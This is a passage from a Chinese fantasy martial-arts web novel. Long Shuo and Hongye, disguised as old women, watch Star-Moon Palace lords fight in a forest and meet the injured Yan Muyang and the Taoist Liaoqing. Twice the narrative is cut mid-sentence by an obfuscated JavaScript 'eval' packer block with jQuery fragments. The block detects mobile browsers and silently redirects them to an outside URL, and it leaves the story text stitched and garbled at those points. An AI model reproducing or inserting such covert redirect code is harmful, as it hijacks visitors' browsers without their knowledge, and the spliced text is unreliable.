众人听到他只说了一个“嗯”,都十分惊惧,脸色顿时变得十分苍白,有的人甚至不自觉地抖动起来,需要用胳膊支撑着地面才可以稳住身体。 片刻之后,所有红衣人倒地不起,在地上痛苦地挣扎翻滚,随之而来的便是一片哀嚎! “这就是大名鼎鼎的朱雀星君叶子规?”,龙烁暗想:“他竟然对自己的手下也如此狠心!那两个人抓我来这,原来是要给他交差的!幸亏我为红叶所救,否则还说不定要受到什么样的折磨——” 红叶朝龙烁使了个眼色,拉着他颤颤巍巍走到叶子规面前说道:“拜见朱雀星君,我两个老太婆在这密林中迷了路,惊扰了各位大仙,实在抱歉,我们这就离开!” “嗯!”,叶子规轻声应道,眼睛却直勾勾地盯着那个白衣男子,兴奋地好像在看着自己的猎物一样,对这两个老太婆并没有在意。 “谢谢星君大仙,谢谢星君大仙!”,红叶赶紧拉起龙烁往东边走去,龙烁回头看了一眼那白衣男子,见他依然面无表情,神情淡然,他明明已经被那叶子规盯上了,却看不出他现在到底害不害怕。 “不能——不能放他们走!”,一个还在痛苦挣扎的红衣男子虚弱地喊道:“她们——她们会妖术!” 刹那间,几根粗壮的竹竿从密林中直冲而来,笔直立在了龙烁二人面前,生生挡住了他们的去路。 余力未消,竹竿末端兀自晃动着,紧接着他们的左边、右边、后边依次被竹竿拦截,顿时二人就被隔挡在了一个狭小的空间里,龙烁暗暗叫苦不迭。 只见那朱雀星君并没有理睬她们,而是径直走到了那名白衣男子面前,兴奋地看着他说道:“跟我回去见宫主!” 龙烁知道此宫主非彼宫主,他只觉这青晷峰星月宫宫主的手下都这么蛮横霸道,他们主子的残暴程度更是可想而知。他暗想:“我若是被他们拉去那个叫什么星月宫的地方,那还有命活吗?千万不能让他们发现我是个男的——”,想到这里他担心地问道:“红叶,你的乱真易容术一会儿不会失效吧?” 红叶正思索怎么才能逃走,却没想到龙烁会有此一问,安慰道:“不会的,除非他也会使乱真易容术,并且法力比我高强,否则没有人会发现咱们使用了乱真易容术,更不会破解这个咒术,放心吧!” 龙烁放下心来,微微点头。 只听那白衣男子说道:“恕难从命!”,他的声音低沉浑厚,与自己清脆爽朗的声音形成鲜明反差。 叶子规脸现煞气,施咒解了那群红衣人的索心术,右手食指轻轻一扬,那些红衣人迅速爬起身来退到后面,给主人让出了一大片的空地。 叶子规咧嘴轻笑道:“我来领教你燕氏寒冰术的厉害!”,他说着向后退了几丈,摊开双臂,双手在空中摩挲,开始积蓄力量,不一会儿两手中间的区域形成了一个圆形黑洞,这黑洞有极大的吸力,引得密林中的枯枝败叶不断从四面八方飞来,汇聚到叶子规面前盘旋飞舞,旋即,枯叶变得锋利如刀,树枝变得刚硬如箭,它们突然集中爆发,向着那白衣男子的方向激射而来。 一些被劲风吹偏方向的树叶朝龙烁他们迎面飞来,如利刃一般划破了他们的衣袖和脸颊,惹得龙烁大呼疼痛!红叶赶紧从怀中取出冰丝帐,摊开来护在二人身上,挡住了那些枯枝败叶的袭击。 透过冰丝帐,龙烁看到那白衣男子正在竭力抵御,他不断剧烈地拨动琴弦,冰刀冰箭从他的身前接连飞出,一时之间,劲风夹着枯枝树叶和冰刀冰箭漫天飞舞,如同狂风骤雨一般席卷着这片密林中的空地。 这白衣男子之前对阵那一群红衣人已经消耗了不少体力,现在看起来他似乎有些力不从心,飞射出的冰箭几次被吞没,漫天的枯枝树叶越来越逼近他的安全范围了,只见他飞快地拨弄着琴弦,铮铮的琴音如同水波一样向四面八方荡漾开来,轰鸣之声响彻天际。 龙烁看得越来越心急,更可气的是挡在他们面前的竹子好像生了根一样,纵使他用尽浑身力气仍是拔它们不动。情急之下,他双手合于胸前,拇指和食指竖起,催动内力,将丹田之气汇聚于胸前,默念咒语:“拂乱三秋叶,摧断碧云天,阖风心中过,乾坤尽换颜”,随即他一声呐喊:“破——” 只见龙烁和红叶面前一丈之外竟出现了一道一丈见方的隐形屏障,将枯枝败叶的袭击挡在了外面。 红叶慢慢放下冰丝帐,惊讶地看着眼前的景象。 龙烁加大劲力,那隐形屏障便逐渐扩大并向前推进,但是行至两丈地之处便不再挪动,旋即这屏障慢慢缩小然后消失。他心知是自己的内力不足难以继续发力,正打算再试一次的时候,这一切却被一个人看在了眼里。 叶子规咧嘴一笑,骤然加大了攻势,他猛地一击,那白衣男子的冰琴便被震得如同烟花一样爆炸开来。 劲风的余力推着那白衣男子后退了十多丈的距离,只见他变出冰剑,往地面奋力一掷,冰剑拖行着他的身体在地面划出了一道长长的裂缝后这才停将下来。 此时,那白衣男子单膝跪地,竭力用冰剑支撑着身体,他眉头一皱,口中涌出了一大口鲜血。两名红衣人迅速上前,控制住了他。 叶子规转身走到龙烁面前,手臂轻轻一挥,龙烁和红叶面前的竹子便即飞去,隐没在了密林之中。 他嘴角轻扬,脸色由兴奋变得激动,声音略微颤抖地说道:“龙氏锥风术!看起来——还不如我的吸星术厉害呢!”,他说着举起右手,打算摘掉他的□□,看看他到底是谁。 然而红叶的乱真易容术竟全无破绽,叶子规将龙烁的脸颊拨弄了几次也没有发现任何端倪,于是他皱起眉头,陷入了沉思。 红叶见状连忙解释道:“朱雀星君大仙,那不是什么锥风术,不过恰好有一股劲风吹过罢了,我们普通老百姓,哪里会使那些神仙术法呢!”,她说着暗掐了龙烁一下,疼的他嚷道:“啊,是啊,这位神仙,我根本不懂您在说什么!” “呵!”,叶子规轻蔑道:“你们以为我好骗么?”,他说着他拔出佩剑在空中打了个转,随即朝龙烁刺来。 龙烁大惊失色,他不会使剑,只得扬起手臂阻挡。 突然间,来剑不知被什么东西挡隔了一下反弹了回去,震的叶子规后退了几步,他睁大眼睛,难以置信地道:“青龙星君,你来这里做什么?” 霎时间,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17231102|197615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个身穿青衣的中年男子从龙烁身旁走过,这人举止优雅,风度翩翩,手中握着一把折扇,两条束发青带荡在胸前,大概三十七八岁的年纪。 只听他轻声说道:“近来听说南方总有年轻男子和刚出生的孩子莫名消失,疑是出现了吃人猛兽,我特地来此地查看,子规兄,莫不会说的是你吧?” 龙烁见他那把折扇上简简单单只画了两棵茱萸,不觉十分有趣,又特意看了看他的胸口,果然刻有一条青龙图腾。 红叶看到青龙星君从他们身边走过,脸现仰慕之色,悄悄对龙烁说:“龙烁哥哥,这青龙星君楚作尘,人称玉面君子,是一个锄奸扶弱、劫富济贫的大善人。咱们有救啦!” “楚作尘?”,龙烁暗觉这名字取得十分特别,又问道:“你有没有觉得他眉眼间与我有两分相像?” 红叶低声笑道:“你就直接说你也是玉面君子就是了!” “不是吗?” “啊是是——”,红叶顿时羞红了脸,心想这人好不害臊! “呵,青龙星君真会开玩笑!”,叶子规瞧见楚作尘身后有七位悄立不动的青衣随从,那是东方七部的七位星主,他眉头抽动几下,收起了佩剑,厉声道:“我劝你还是赶紧回到你的地盘去的好,宫主仁慈,自从白虎星君失踪之后,西方七部也交由你代管,你不好好处理自己辖内事务,私自跑来我这里做甚,你就不怕宫主知道了会重重责罚?” “多谢子规兄关心,这正是我此次前来的目的!” 楚作尘走到那白衣男子面前查看他的伤势,发现他只是受了点轻微的伤,便放下心来,将他扶起后转身朝叶子规走去,劝说道:“宫主叫咱们扩张势力,可不是让你以武力相逼,更不是让你以索心术相迫。你仰仗着宫主的庇护在蜀地横行霸道,坏了星月宫的声誉,现在江湖上到处都在传扬你朱雀星君的手下肆意烧杀抢掠胡作非为,大家都把咱们星月宫视作是邪魔歪道了,你还不知收手?” “呵!”,叶子规不屑道:“那些人的嘴长在他们自己身上,他们当然爱怎么说就怎么说了,难道咱们星月宫还会怕他们吗?你这样说,莫不是因为我南方七部近日发展迅猛,惹得您青龙星君羡慕嫉妒吧!” “那怎么会——”,楚作尘走到叶子规面前道:“子规兄多虑了,咱们都是替宫主办事,你南方七部壮大了我高兴还来不及——”,他路过龙烁和红叶的时候瞧他二人一眼,有点惊讶这两个老婆婆在这里做什么。 “那很好!”,叶子规警惕地说道:“今日青龙星君你只要别干涉我,我把这边料理完了,晚上我好好招待你和你东方七部的各位星主!怎么样?” “子规兄的好意,我们却之不恭!”,楚作尘拱手道:“不过我这一路南下,沿途遇见了不少被索心术折磨致死的年轻男子,子规兄,我还是要提醒你,不要为了壮大你南方七部的势力便如此不择手段!” “那又不是我干的,与我何干?”,叶子规懒洋洋地说道:“不过话说回来,区区一些不相干的人,青龙星君又何必如此在意呢?” “不是你干的,却是你手下干的——”,楚作尘疑问道:“这两位婆婆又是怎么回事?你为何要抓她们?” “噢!他们两个啊!”,叶子规斜睨了龙烁一眼,不怀好意地嘴角一勾,悠悠说道:“只怪他们多管闲事!我这个人,最讨厌别人多管闲事了,你知道的,青龙星君——” 他最后这句“青龙星君”叫得格外响亮,在场的人都听出来他这是一语双关,意思是让他也少管闲事。 “呵!”,楚作尘淡然一笑,说道:“子规兄也是知道的,我这个人,最喜欢多管闲事了!今日的事让我撞见了,那我是一定要管的!” “你——!”,叶子规因愤怒而变得呼吸急促,他轻蔑地道:“你不要仗着在星月宫的地位比我高,就敬酒不吃吃罚酒!之前咱俩比拼,你三战两胜,那也是我看在宫主的面子上不想你输的太难看,今日你若执意与我为难,我可就不客气了——” 楚作尘微微一笑,说道:“废话何必多说?这只会让人觉得你叶子规人如其名,只会叽叽喳喳地叫个不停——” 闻声,龙烁没有忍住,扑哧一下子笑出声来。 “臭老太婆,你笑什么,找死——” 叶子规大怒,挥剑朝龙烁刺去! 楚作尘迅速拔出佩剑,替龙烁挡隔了回去。他身后那七为星主立刻上前准备相助主人一臂之力,却被楚作尘拦住了道:“你们退后——”,他说着将叶子规引到中间空地去打斗了。 龙烁心知青龙星君是为了避免伤及无辜,所以将叶子规引开了。 只听红叶仰慕地道:“青龙星君真帅!” 龙烁拉着红叶绕过正在打斗的两位星君,径直朝那白衣男子走去,想看看他的伤势如何,能不能想办法一起逃走。 他二人奋力向那白衣男子走去,只走了一半,已经累得气喘吁吁,龙烁抱怨道:“我觉得你把咱们易容成七八十岁的老太婆着实有欠考虑!” 6. 三星聚首 到得那白衣男子面前,龙烁见他嘴角兀自流着鲜血,从怀中取出家传疗伤圣药“龙胆顺气丸”递给他道:“这位公子,这是我家祖传的疗伤顺气的灵药,有起死回生的功效,你赶快吃了它吧!” 那白衣男子抬头看向龙烁,龙烁全身一震,感觉像是触电了一样。 之前离得较远,龙烁看不清他的真实容貌,只觉他仙气飘飘。近处一看,这白衣男子清贵绝伦出尘脱俗,神情冷峻似冰雪,面貌雕琢如美玉。龙烁看得呆了,心中暗道:“天下竟有如此神仙似的人物!” “谢谢婆婆!”,那白衣男子只是微微颔首,并没有接过药丸。 “没有毒,放心吧!本公——咳咳”,龙烁清了清苍老的嗓音道:“老太婆不会骗人的!” “你们是谁?”,那白衣男子问道。 龙烁道:“我们是锦官城的寻常百姓,来这密林中采摘草药来着,却听到了一声爆竹巨响,于是过来看看发生了什么事!” 他极力装作农民的口吻诉说,还不时用眼神询问红叶自己说得对不对,看到红叶也是不住点头,就继续说道:“却没想到是各位仙人在这里施法,早知如此,我们说什么也是不会过来的了!” 那白衣男子神情漠然地看了看他二人,并未搭话。 龙烁这样说的意思是想着让这白衣男子想法儿救咱们出去,却没想到他竟全没领会,于是继续说道:“求求白衣神仙,快点吃了这个药,然后想个办法带我们离开这里吧!” 那男子轻轻摇头,沉默不语。 “这是什么意思?”,龙烁暗想,他满脸疑问地看了看红叶,红叶也摇摇头表示不明所以。 此时楚作尘和叶子规仍在激战,无数白色剑芒在两人周围四散飞舞,看样子一时半会儿倒也难分胜负。 看着这白衣男子眉头微皱低头不语,龙烁料想他必定十分难受,便伸出手去探他额头,想看看他是不是发烧了。 然而,当他的手背离那男子额头仅有一寸的距离时,却被其扬起的右手紧紧地抓住了,随之而来的便是一阵彻骨的寒冷,这寒冷如同迅猛的电流一样从龙烁手腕处迅速蔓延至全身,冻得他立时头皮发麻,牙齿也不住地打颤。 “好冷!”,龙烁竭力挣脱开来,口中不断哈着热气,双手兀自摩擦取暖。 那白衣男子身子微晃,显然是在极力坚持而不倒下,他低声道:“我膻中气海受损,无法镇住体内寒毒,吃药无用,请两位婆婆离我远些!” 然而龙烁仍是抑制不住地冻得大喊大叫,动静过大,引起了叶子规的注意。 只听空中一声呼啸,两根粗壮的竹竿便插在了白衣男子与龙烁二人之间,阻断了他们的交流。 紧接着又是一声呼啸,龙烁抬头一看,只见两根竹竿从密林中飞射而出,直冲他和红叶而来,原来叶子规用右手挥剑挡隔楚作尘的袭击,左手却运劲施展吸星术偷袭他们。 龙烁暗想:“我二人并没有打扰他们打架,叶子规却为何突然转而向我们进攻?糟了!莫非是叶子规故意声东击西,目的是要分散楚作尘的注意力——” 果然,红叶正吓得惊慌大叫,楚作尘已然及时赶到,他挥剑将那两根竹竿劈成两半,抬头一看,竟发现又有两根竹竿已然分为上下两路直朝自己袭来。 楚作尘来不及回避,挡隔住了上路竹竿的袭击,却没挡住下路竹竿的偷袭。 竹竿尖锐的头部直插楚作尘的右腿,瞬间将他打倒在地,鲜血喷涌而出,浸湿了他腿上一大片的衣服。 红叶这才反应过来,立即蹲下来查看他的伤势,口中兀自喊道:“青龙星君你没事吧?” 龙烁怒道:“叶子规,你好卑鄙——” 叶子规邪魅一笑,正要乘胜追击楚作尘,却听一人大声喊道:“住手,怎么自己人却和自己人打起来啦?” 龙烁抬头望去,一个中年男子忽然从天而降,落在了楚作尘和叶子规中间。他穿的是黑色衣衫,胸前刻有一个神龟图腾。 红叶凑近龙烁耳边小声说道:“这是北方七部的首领——玄武星君卢照影!” 龙烁微微点头,暗想不知这玄武星君是站在哪一边的。 “你来得正好!”,叶子规收起佩剑,一脸委屈地道:“咱们青龙星君在这跟我为难呢——” “你还说!”,卢照影瞪视他一眼,旋即快步走上前查看楚作尘的伤势,口中兀自安慰道:“楚大哥,子规他向来心高气傲,你不要跟他一般见识!”,只见他手脚麻利地替楚作尘包扎好伤口,将他扶起后,转身向叶子规道:“青龙星君亲自前来指教,子规,你给我们个面子,今日就放了这些人吧!” “卢大哥,那两个老太婆我可以放,但这燕沐阳——我追了他一路也没有得手,今日我见他走路摇晃下盘不稳,显是受了伤,正是抓他的好机会,是万万不能放的,我一定要带他回去见宫主!”,叶子规一脸严肃地说道。 “这是为何?”,卢照影不解。 叶子规指着那个叫作燕沐阳的白衣男子说道:“难道你忘了?宫主让咱们物色白虎星君的人选,这燕沐阳外表出众,武功极高,我看他可以一试——” 闻声,卢照影径自走向那白衣男子,仔细看了看他,微微点了点头。 “子规兄,你要削弱我的势力,何必如此大费周折!”,楚作尘轻声道:“不如我直接跟宫主请愿,由你代管西方七部怎么样?” 叶子规轻蔑一笑,并没有理会他,而是冲卢照影继续说道:“卢大哥,青龙星君是我的手下败将,何足为惧!我一心一意为咱们星月宫做事,宫主圣明,他老人家一定会明白,今日你帮我也好,不帮我也好,这人——我是断不会放的!” 龙烁暗想这朱雀星君刚才施毒计暗算,实在是胜之不武,现在竟然大言不惭说青龙星君是他的手下败将,当真好不要脸。 “哎呀!”,卢照影劝说道:“青龙星君念在你对星月宫忠心耿耿,没有跟你计较,你以为就凭你,真能打得过他嘛!” 闻声,叶子眼珠一转,说道:“洞箫飞雨·珠落玉盘,青龙星君的成名绝技‘洞箫飞雨之术’我是早有耳闻的,今日你若能施展此术打败我,我便放了他们,怎么样?” “不行——”,楚作尘坚定地道:“我已与故人有约在先,此生不会再使用此术,我岂能不守信约?” 叶子规轻蔑地哼了一声。 “不过,近日我修习瑶琴牵引之术也颇有感悟,不如我用自撰的琴曲《共逍遥》配上唐朝诗人李白《月下独酌》中的诗句与子规兄再来比过如何?” 见叶子规不答,楚作尘径自走到燕沐阳身旁轻声说道:“沐阳公子,可否借你冰琴一用!” 燕沐阳微微颔首,右手在空中轻轻一拂,掠过之处赫然出现了一把晶莹剔透的冰琴。他又从怀中取出几根雪白的丝线作弦,只见他手指俏然轻弹,丝线已然牢牢地固定于冰琴之上。他虽然由于受伤而动作缓慢,但是所有动作一气呵成十分熟练,想是这样的冰琴他已经做过无数把了。 旋即,燕沐阳慢慢退到龙烁身边,给楚作尘让出了位置。 楚作尘大为惊叹,拱手说道:“多谢!”,他随即拖行着受伤的右腿走到冰琴面前,摆好了抚琴的姿势。 叶子规轻蔑一笑,走上前来,他将双臂抱在胸前,表情十分不屑。 只听铮铮几声琴响,伴随着阵阵琴音,楚作尘轻声吟道: 花间一壶酒,独酌无相亲。 举杯邀明月,对影成三人。 语音低沉,琴音萧索,龙烁心中顿时生起一股悲凉之感,他看了看红叶,见她满是皱纹的脸上亦是眼神凄婉写满哀伤,泪水不自觉地在她眼眶中打转,顿时明白这琴曲具有扰人心神的功效。 忽听“咣当”一声轻响,叶子规的佩剑一下子掉到了地上,只见他左手忽然紧握成拳,右手却高举到自己胸前,手指微微拢起,似是手中拿着一个隐形的酒杯正在饮酒! 又听楚作尘继续道: 月既不解饮,影徒随我身。 暂伴月将影,行乐须及春。 此时,叶子规将右手举得更高,直冲东南方向的天空中敬酒,宛如在邀请天上的明月共饮,只可惜,此时乃是申牌时分,太阳在西首熠熠放光,月亮却尚未出现。 叶子规眼神惊恐眉头紧皱,好像在竭力抵御这令人神伤的瑶琴之音,奈何身体根本不受控制,他只得照着诗句中所表达的情感继续自斟自饮。 这一系列月下独酌的动作配上他十分卖力气反抗的神情,竟更显得他滑稽可笑。 龙烁见此情形忍不住哈哈大笑起来,红叶也转悲为喜,而燕沐阳却依然面无表情,漠然地看着这一切。 只听楚作尘继续道: 我歌月徘徊,我舞影凌乱。 醒时相交欢,醉后各分散。 此时叶子规东敬一杯酒,西敬一杯酒,左摇右晃直如喝醉了一般。他手下的红衣人却都远远地站在一边,见到主人蒙羞也不敢上前阻拦,他们只是努力憋笑,暗自盘算不要让主人发现自己有丝毫嘲笑之意就好,莫得自讨没趣惹祸上身。 叶子规眼神里透露着绝望,他那摇晃的身体时而似在跳舞,时而似在舞剑,时而又似是在打醉拳。 又听楚作尘道: 永结无情游,相期邈云汉。 终于,疯狂乱舞了一会儿后,叶子规的力气几乎已经耗尽。随着琴音的消逝,他仰天瘫倒在地,眼神直勾勾地盯着天空,良久,无语。 弦音尽消,卢照影嘴角抽动,赶忙上前将叶子规扶起,发现他呼吸仍是十分急促,惊慌之意尚未平息,而眼神中却满是愤恨之色,于是悠悠地说道:“想不到青龙星君竟然创出如此神技,这是什么术法?” “区区雕虫小技,何足挂齿!”,楚作尘谦虚道:“只不过是我某夜孤寂难耐,醉后抚琴,而后胡乱创出的瑶琴牵引之术罢了!” “这术法竟可将人变成木偶玩弄于股掌之中,当真厉害!” “卢兄过奖,此术虽然能使人暂时受制,但是音消咒散,且作用范围十分有限,不适合对敌,权当是小把戏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17231103|197615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看个热闹罢了!” 卢照影钦佩地道:“青龙星君何必谦虚,若非你手下留情,子规此时哪里还有命在!子规,你还不快谢过青龙星君!” 楚作尘正欲阻拦,叶子规却奋力挣开了卢照影的搀扶,他啐一口道:“谢他?呵!我堂堂南方七部星首,座下星君的人数比他东西方十四部全加起来还要多出两倍有余,今日本座在此受辱,此仇不报,我誓不为人!” “子规兄息怒!”,楚作尘安慰道:“我刚才只不过是跟你开个小小玩笑,你千万别放在心上!” “好!你给我等着!” 叶子规闷哼一声,旋即捡起佩剑闪身而去。他的一众红衣星君也跟着退去,消失在了密林中。 见状,卢照影脸上的表情似笑非笑,尴尬道:“楚大哥,子规他年轻气盛,你不要介意,我去劝劝他——”,他说着拱手道别后便即闪身离去。 此时林中只剩下龙烁、南宫红叶、燕沐阳、楚作尘以及他的随从了。 只见楚作尘走到燕沐阳身旁将瑶琴递还给他,而后轻声说道:“沐阳公子,多谢你的瑶琴!” “不必客气!” 燕沐阳接过瑶琴,右手轻抚,冰琴便即化成了水洒到了地上,寒气竟又被他吸进了体内,他本想继续发力,将洒在地上的水也一并吸干,却好像力不从心,于是收回了手。他见强敌已退,终于腿脚一软,单膝跪倒在了地上。 楚作尘连忙将他扶起来关切地问道:“沐阳公子,你没事吧?” 燕沐阳没有回答,只是轻轻摇了摇头。 龙烁发现他眉头微皱,两鬓有汗,似乎在强自忍耐,只是他的表情仍是镇定自若,所以大家也没有发现有什么异常。 楚作尘又问道:“沐阳公子,你,你可认识白翼?” 燕沐阳微微摇了摇头。 楚作尘又问道:“那么你的父亲是?” 燕沐阳轻声说道:“家父燕沚羽!” “噢,久闻山西燕氏创出独门绝技寒冰术而名震江湖,原来令尊就是大名鼎鼎的燕大侠!在下十分仰慕,有朝一日定当上门拜会!” “家父避世隐居已有多年,素不见客,还请见谅!” “噢?为何?”,楚作尘问道:“莫非你父亲他,身体有恙?” 燕沐阳微微摇头道:“家父虔心修习佛法,心无杂念,身体向来——安好无恙!” 他每句之间稍稍停顿,浅吸一口气后再继续说,似是极力掩饰自己的伤势,别人没有发现异样,但这却逃不过龙烁的眼睛。 楚作尘微微点头道:“那就好,沐阳公子,幸会幸会,你叫我楚叔叔即可!” 燕沐阳微微点头道:“多谢楚叔叔替我解围——今日我有要事在身,不便久留,他日再向楚叔叔登门拜谢——告辞!” “好——” 然而,燕沐阳只走出几步,突然身子一软,瘫倒在地昏晕了过去。 他这一倒却惊到了众人。 楚作尘连忙上前查看,他伸出右手打算给他号脉,手指还未触碰到燕沐阳的手腕时,却忽然被一尾拂尘卷住了手臂。 旋即,一个白衣道人忽然从楚作尘的身后抢上前去伸手去探燕沐阳的鼻息,确认他只是昏晕过去后便一把将燕沐阳扶起来靠在他肩上,说道:“青龙星君请勿碰他肌肤,沐阳公子现下元气受损,寒毒外泄,若稍有不慎,恐为所伤!” 楚作尘见这白衣道人的拂尘柄是用汉白玉制作而成,上面刻有游龙戏于云间,十分精致,拂尘头绵软雪白,而尾端却有一点点墨黑,顿时惊叫道:“扬鞭尽扫凡尘恶,一点青灰落上来——你是了清道长?” 那白衣道人拱手说道:“青龙星君果然见多识广,一把拂尘便即认出了我,那两句颂词不过是被我所救之人的阿谀之言,可并非我这拂尘的本意!” “啊!久闻姑射山风云观风云道人术法高深。其门下三位高徒个个身怀绝技,尤其是了清、了明两位道长更是出类拔萃能够知人识术,二人合力除暴安良、扶危济困,被天下人尊称为‘清明二圣’,今日得见其一,实是幸会!” “青龙星君过奖,在下匆忙而至,见星君正欲上前触碰沐阳公子,担心你为寒毒所伤,于是以拂尘出手阻拦,冒犯之处,还望见谅!” “无妨!”,楚作尘轻轻摇头,微笑道:“‘清明二圣’一尾拂尘尽扫天下尘埃,我楚作尘不过是这天地间的一点小小灰尘,被了清道长的拂尘扫一扫那是再恰当不过的啦!” “青龙星君如此洒脱风趣,在下实是佩服!”,了清看了看燕沐阳,眉头微皱道:“今日沐阳公子有伤在身,我需尽快带他去疗伤,不能久留,后会有期!” 他拱手道别后,便欲带燕沐阳离开。 “诶——”,楚作尘赶忙问道:“请问了清道长,你可知这沐阳公子家住何处?” “这——”,了清犹豫片刻说道:“沐阳公子随父亲避世隐居多年,具体住址我不便透露,还望见谅!” 楚作尘虽然略显失望,却还是目送着二人渐渐远去。 7. 枫林护卫 看着二人的背影逐渐消失在密林之中,楚作尘心中十分惆怅。 一名随从看出主人的心思,走上前来问道:“青龙星君,这沐阳公子看起来受伤不轻,是否让属下前去跟踪观察?” 楚作尘摆手道:“不必了!我们还有要事在身不能耽搁!我相信我们还会再见面的——” “是!” 楚作尘转身朝这名青衣随从吩咐道:“角星主,你和亢、氐、房、心几位星主带领你们的人往东南方向去寻!尾、箕两位星主和你们的人随我往西南方向寻找,若遇危险,发求救信号即可!” “是——” 楚作尘走向龙烁和红叶道:“两位婆婆,你们没事吧?” 红叶使劲儿摆了摆手。 龙烁拱手道:“感谢青龙星君救命之恩,我们没事!” “不必客气!”,楚作尘还礼道:“林深路滑,两位婆婆小心慢走!” “哦哦好——多谢多谢!” 楚作尘等八人兵分两路,分别朝西南和东南方向闪身而去,偌大的密林又恢复了之前的寂静。 红叶仰头张望,确认他们已经走得远了,这才放下心来,她随即两手合于胸前,拇指和食指相交,口中兀自念了一句诀,只听“砰”的一声轻响,龙烁便感到自己慢慢恢复了以往的感觉。 “好险!”,红叶感叹道。 龙烁看到红叶又恢复了以前娇俏的容貌,赶紧上下摸索自己一番,发现自己全身上下完好如初,这才放下心来,自言自语道:“好险,好险!” “是啊,没想到会遇到这么多高手!”,红叶跟着龙烁边走边说道:“奇怪,那沐阳公子的皮肤比女人还白,这是什么原因?” 龙烁从没有关注过燕沐阳的这个方面,但看到红叶艳羡的目光,顿时感觉心中酸溜溜的,于是道:“想是他住的地方云遮雾绕,见不得阳光吧!” “噢!”,红叶傻傻地点头说道:“必然是这样!” 龙烁看到红叶此时憨憨的十分可爱,暗想她倒是十分在意这外表的美丑,便道:“他长得再白那也是个男人啊,男人就应当有阳刚之气。我看那沐阳公子秀气有余,罡气不足,缺了点男子汉大丈夫的味道——” 红叶听他这话酸酸的,捂嘴偷笑,娇声说道:“那是当然,他怎么能比得上我龙烁哥哥气宇轩昂、罡气十足呢,就是武功术法稍稍逊了一些!”,她说着便掩面咯咯娇笑起来。 “呃,这个,君子动口不动手嘛!”,龙烁清了清嗓子,转移话题道:“我看那了清道长的拂尘尾端有一点墨黑,却是与众不同。风云道人的名号我倒是听过的,只是不知这了清道长的武功术法有何过人之处,那青龙星君似乎对他格外钦佩,‘知人识术’——那是什么功夫?” “呃,不知道,还有那个什么‘风云道人’的名号,我也是头一次听说,你们北方的风云人物,我就不甚了解啦!” “啊!”,龙烁思索了一会儿,又问道:“你说青龙星君他们往西南方向和东南方向去找什么呢?” 红叶摇了摇头道:“听说星月宫对待叛徒十分严苛,下手毫不留情,或许是去追捕逃跑掉的星君也未可知!” 深秋时节的密林里绿意盎然,天气格外清爽宜人,两人一边聊天一边散步,红叶在林间小道上摘了一根树枝拿在手中把玩,枝上的树叶被微风吹拂摇曳。 二人在密林中走了一阵,龙烁轻声说道:“红叶,你昨晚一夜未归,父母应该很担心吧!你家既然离此地不远,不如我送你回家吧!” 红叶脸现忧色道:“龙烁哥哥,你要回家了吗?” “是啊,我未经父亲允许,私自跑到重庆巫山去找那远近闻名的美酒‘仙人酌’——”,说到这里,龙烁不自觉地咽了咽口水,继续道:“现在又被星月宫的人掳到四川,在外漂泊了十几天,所带的盘缠也花的差不多了,现在该回去向父亲报平安啦!” “龙烁哥哥,盘缠这点小事你无需担心,我家虽不能说是富甲一方,但也算是家财万贯!我回家去取些给你不就行啦?” 龙烁连连摆手道:“红叶,你的救命之恩我还没有报答,怎么能再要你家的钱财呢?” “没关系的,我又不是图你报答——”,红叶眼珠一转,说道:“那个——龙烁哥哥,你若真的感恩图报,就再陪我玩几天好不好?”,红叶央求道:“我昨晚不是说过要带你去个好玩的地方吗,此地往东三百里便是万兽山,后天那里便要举行‘猎奇之争’,许多能人异士都会聚集于此,到时能看到很多稀奇古怪的术法呢——” “猎奇之争?” “对呀,难道你没听说过吗?” 龙烁微微摇了摇头。 看着红叶十分惊奇的样子,龙烁觉得自己不知道好像是非常不应该的。 红叶道:“那西南八俊的名号你听过吗?” “略有耳闻,西南八俊乃是巴蜀一带的八位名士,他们志同道合,尤其喜欢结交能人异士,于是他们结为异姓兄弟,一齐在西南地区匡扶正义惩恶扬善!” “不错,西南八俊之首便是谢氏宗族现任的家主谢亭韵,数百年前,谢氏祖先谢峰非常喜欢与凶兽相斗,曾自创出独门绝技‘困兽网神术’,能够将凶兽困于无形的结界之中,这结界结实无比,一经进入绝无可能再出来,于是他抓了许多凶猛的野兽在一座深山中圈养,供其打猎取乐,而这座山也被命名为‘万兽山’。谢峰去世时,命子孙后代不可放出山中生物,他们遵从祖宗遗训,将这万兽山设下层层结界,几百年来从没有一只生物能够逃出,这万兽山便成为谢氏宗族的私家园林猎场,供他们打猎射箭,世代相传!然而自从谢亭韵接任宗主后,竟发现这万兽山中竟然还生活着一些上古神兽不被世人所知!他为了结交天下仁人志士,想着广招天下英雄齐聚万兽山围猎射箭以猎会友!恰好这也不违背祖宗遗训,因为祖辈只是要求他们不准猛兽出山,但并没有不许人入山,这才允许武功术法精湛的人进山围猎,后来也就形成了这一年一度的‘猎奇之争’——” “什么?山中有许多上古生物,那岂不是很危险!”,龙烁惊讶道。 “不会的,我父亲说过,那里面的生物大部分是不会主动攻击人类的,除非受到了生命威胁,否则它们躲闪还来不及呢,所以要找到它们也不容易呢!” “啊,这样啊——”,龙烁好奇道:“猎奇之争?是猎到什么生物都可以吗?” 